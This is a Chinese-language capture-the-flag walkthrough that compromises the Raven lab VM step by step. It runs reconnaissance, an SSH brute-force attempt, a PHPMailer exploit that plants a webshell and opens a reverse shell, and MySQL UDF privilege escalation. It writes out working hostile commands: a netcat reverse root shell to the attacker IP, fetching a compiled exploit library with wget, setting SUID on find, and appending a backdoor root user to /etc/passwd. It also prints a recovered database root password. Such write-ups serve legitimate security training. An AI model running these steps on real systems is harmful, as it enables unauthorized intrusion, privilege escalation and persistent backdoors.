特别注明:本文章只用于学习交流,不可用来从事违法犯罪活动,如使用者用来从事违法犯罪行为,一切与作者无关。
文章目录
- 前言
- 一、信息收集
- 二、ssh爆破尝试
- 三、根据框架exp和cve拿shell
- 四、对mysql的进一步渗透,mysql UDF 提权
- 总结
前言
思路清晰先说步骤:
1.信息收集,收集到应有的靶机可利用端口。
2.用收集到的信息尝试爆破ssh,如果信息足够可用拿到普通用户,最好能一次拿到root
3.根据系统版本搜索exp(常规提权),拿到root的shell
4.对mysql udf的渗透、提权,思路为主。
一、信息收集
扫描内网,定位靶机ip
nmap -p- 192.168.198.0/24
访问80
我们尝试另外几个端口,看能回显吗
111端口不回显
55677也没回显
当然22端口肯定能爆破,但是我们需要信息收集
那么我看回80端口,如果没有什么可用的信息就只能扫描子域名了
看回主页,我发现有team
这个team我觉得可能会有人员信息,我们收集一下
果然有
我们没办法的时候就用这些人物信息去试试
我们扫描一下子域名
dirb http://192.168.198.136 -w > url.txt
枚举发现该目录:
==> DIRECTORY:http://192.168.198.136/vendor/
http://192.168.198.136/vendor/PATH 第二个目录获得flag:
/var/www/html/vendor/
得到第一个flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
http://10.211.55.10/vendor/README.md
枚举获得信息:PHPMailer
http://10.211.55.10/vendor/VERSION
枚举获得信息:5.2.16
等下我们去找EXP
二、ssh爆破尝试
cewl http://192.168.198.136/wordpress/ -w zhanghao.txt
hydra -l zhanghao.txt -P zhanghao.txt 192.168.198.136 ssh
爆破不出来,哎找不到密码。。。。
我们尝试别的姿势
三、根据框架exp和cve拿shell
对谷歌老师
搜索可用的EXP和poc
这是个扫描的exp
exp使用
把代码下载下来
直接利用
试了几个端口都用不了。
成功扫到了可用cve
有cve还不好说直接谷歌老师就好了
下载到我们想要的攻击exp
作者居然还做了视频
我们看看
这个playload需要修改里面的代码
①.需要修改成靶机的url,url要包含.php,且这个php文件存在,可以用目录扫描扫出php后缀结尾的网页文件
②.需要修改一句话木马传入的名称
③.一句话木马反弹回来的ip,也就是kali的ip
④.这里需要知道靶机的绝对路径我们前面得到过这个路径
我们将cve复制进kali
python 40974.py
playload写入php文档里面
我们nc监听端口
然后执行这个php文档
他会把muma.php写入这个目录
我们执行muma.php
成功反弹shell
拿到shell但这是个伪shell
我们用bashshell
python -c 'import pty;pty.spawn("/bin/bash")'
但是这个shell还是不够好用,因为没有历史命令
我们按ctrl + z
让nc进入后台
执行stty raw -echo; fg
这下我们有更好用的tty了
到了我最喜欢的提权阶段
直接进厕所bushi
进/tmp
我们先看这个用户下面有几个flag
便利查找一下
find / -name flag* > f.txt
。。。虽然找到了,但是flag没有提示信息
没事还有个flag3而且是个png,以我直觉大概率是个提示信息
我们先不用工具看,我们先用网页查看,因为明显这个目录是在网页下面的
/wordpress/wp-content/uploads/2018/11/flag3.png
没有提示信息。。。
很遗憾,那只能找其他信息了,不过这里目录中有upload,没准有个文件上传漏洞,但是我还没学好,所以,。。。。。。
那我们进这个目录下看看,wordpress应该也有问题
带config,我们肯定要看!!!
看下
说实话有点离谱了,谁会把密码和账号写在这里bushi
很明显要我们对mysql进一步渗透
四、对mysql的进一步渗透,mysql UDF 提权
UDF 提权、MOF 提权是非常经典的提权方法!
已经有root和password的密码了,那我们直接登录试下
mysql -uroot -pR@v3nSecurity
真进去了。。
信息收集一波
密码加了盐
但是得到两个账户
michael
steven
账户没准可以爆破ssh,大家可以试试,我这里继续mysql的信息收集试下
其他表也没有啥有用的信息,只能尝试用mysql的漏洞去渗透了
那我们收集mysql 的版本信息
我们提权必须要满足的前提是mysql是root权限运行
udf提权是直接提权成root,这个环境满足条件
看下mysql安装过程
dpkg -l | grep mysql
--查看历史安装包版本
都是5.5.60
查看下是否有权限运行udf
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
show variables like '%plugin%';
这里攻击思路有两种,一种是mysql能远程访问,那么我们可以用msf攻击;一种是mysql只能本地登录,那么我们就只能在本地进行攻击。
查看能否远程登陆:
use mysql;
select user,host from user;
发现这里root用户不允许远程登陆,因此不能利用MSF提权。
谷歌搜索:mysql 5.x UDF exploit 或者 searchsploit udf
https://www.exploit-db.com/exploits/1518
searchsploit 1518
locate 1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/Desktop
使用方法
先把exp复制过来
gcc -g -c 1518.c
—GCC编译.o文件
gcc -g -shared -o mso.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
kali开启http让靶机下载
python -m http.server
wget http://192.168.198.133:8000/myso.so
当然我们最好还是放在tmp下执行
接下来是mysqludf提权部分
我们进入mysql
mysql -uroot -pR@v3nSecurity
创建一个表
create table myso(line blob);
MySQL中,Blob是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。
插入Blob类型的数据必须使用PreparedStatement,因为Blob类型的数据无法使用字符串拼接写的。
MySQL的四种Blob类型(除了在存储的最大信息量上不同外,他们是等同的)。
往这个表里写入提权数据,会以root权限执行
insert into myso values(load_file('/tmp/myso.so'));
因为我们这个文件使用普通权限写出来的,所以需要root权限导出然后执行
myso表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from myso into dumpfile '/usr/lib/mysql/plugin/myso.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'myso.so';
查看以下创建的函数:
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system(‘chmod u+s /usr/bin/find’);
s 在文件执行时把进程的属主或组ID置为该文件的文件属主。
原来只有某用户可以执行httpd这条命令, u+s后其他用户都可享有文件属主的权限。通过chown将文件属主调整为root,这样其他用户即可以root权限操作该文件。
因为find命令是root的
所以现在其他用户都能用root权限执行find权限
刚刚我们find命令有权限问题,现在就不会有了,我们执行一下查找flag*
还有个flag4.txt在root目录下
但我没有root家用户的权限
那我们就继续提权
直接提权bash shell会有问题
find / -exec "/bin/sh" ;
我们目前只能用sh不能用bash shell
拿到flag4
其他姿势
我们可以利用刚刚的mysql执行命令,反弹root的shell
先监听
select do_system('nc -nv 192.168.198.133 6661 -e /bin/bash');
得到root的shell
注意这个仅限于/bin/bash模式下面才可以这样做
我们还可以写入一个权限
写一个root权限的影子用户
select do_system('echo "ou:e9mTQIxwFiHzk:0:0:root:/root:/bin/bash" >> /etc/passwd');
影子用户
总结
以上就是对这个靶机的渗透总结了,这里用了mysql udf提权,这个方法现在已经不常用了5.1以后的版本基本无法使用,但是思路是永不过期的,希望大家能好好学习思路,而不是花里胡哨的漏洞偏门。谢谢大家,看到这里能点个👍吗?
特别注明:本文章只用于学习交流,不可用来从事违法犯罪活动,如使用者用来从事违法犯罪行为,一切与作者无关。